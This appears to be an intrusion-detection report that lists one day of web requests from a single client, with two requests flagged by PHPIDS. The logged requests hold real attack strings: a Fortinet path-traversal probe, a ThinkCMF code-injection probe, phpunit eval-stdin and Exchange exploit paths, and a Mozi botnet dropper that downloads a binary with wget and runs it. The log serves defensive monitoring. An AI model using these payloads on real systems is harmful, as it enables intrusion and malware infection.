Summary: 2 incidents discovered from one client

	192.168.21.127 | 2 incidents | impact ∑: 25	attacks only
	Description: A targeted scan 23 hours ago. A total of 2 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 07:27:36 +0100 GET /console/ HTTP/1.1 404 457 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 08:08:06 +0100 GET / HTTP/1.0 200 84184 - NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 08:41:41 +0100 GET / HTTP/1.0 200 84184 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 08:54:50 +0100 POST / HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 08:54:55 +0100 POST / HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 09:07:41 +0100 GET / HTTP/1.1 200 4601 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 09:40:52 +0100 GET / HTTP/1.1 200 4602 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 10:53:28 +0100 GET /owa/auth/x.js HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 10:59:02 +0100 GET /owa/auth/logon.aspx HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 10:59:36 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 12:29:43 +0100 GET / HTTP/1.1 200 4601 - Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 12:38:27 +0100 POST /HNAP1/ HTTP/1.1 404 456 - Mozila/5.0 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 12:50:25 +0100 GET / HTTP/1.1 200 84299 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 13:50:22 +0100 GET / HTTP/1.1 200 4601 - Linux Gnu (cow) 13 dt id lfi xss csrf - 192.168.21.127 - - Wed, 26 Jan 2022 14:31:55 +0100 GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1 404 456 - python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.45.1.el7.x86_64 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 14:45:51 +0100 GET / HTTP/1.1 200 84299 - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 15:24:58 +0100 GET / HTTP/1.1 200 84299 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 16:02:46 +0100 GET / HTTP/1.1 200 84299 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 16:50:35 +0100 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 17:17:27 +0100 GET /shell?cd /tmp;rm -rf *;wget http://192.168.1.1:8088/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws HTTP/1.1 404 456 - Hello, world 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 18:25:51 +0100 GET http://azenv.net/ HTTP/1.1 200 4598 - Go-http-client/1.1 12 xss csrf id rfe lfi - 192.168.21.127 - - Wed, 26 Jan 2022 18:38:40 +0100 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1 200 4601 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 19:15:01 +0100 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 200 4601 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 20:04:39 +0100 GET / HTTP/1.1 200 84300 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 20:30:19 +0100 POST /Autodiscover/Autodiscover.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 21:25:18 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 21:36:55 +0100 GET / HTTP/1.1 200 4601 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 21:43:01 +0100 GET /favicon.ico HTTP/1.1 404 456 - Uzbl (Webkit 1.3) (Linux i686 [i686]) 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 21:43:01 +0100 GET //.well-known/security.txt HTTP/1.1 404 456 - Uzbl (Webkit 1.3) (Linux i686 [i686]) 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 22:05:08 +0100 GET / HTTP/1.1 200 84299 - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 22:22:13 +0100 GET / HTTP/1.1 200 4601 - Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 22:44:00 +0100 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 22:59:02 +0100 GET /config/getuser?index=0 HTTP/1.1 404 456 - Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 23:06:38 +0100 GET /0bef HTTP/1.0 404 461 - - 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 23:13:30 +0100 POST /GponForm/diag_Form?images/ HTTP/1.1 404 451 - Hello, World 0 none - 192.168.21.127 - - Wed, 26 Jan 2022 23:52:51 +0100 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 404 457 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36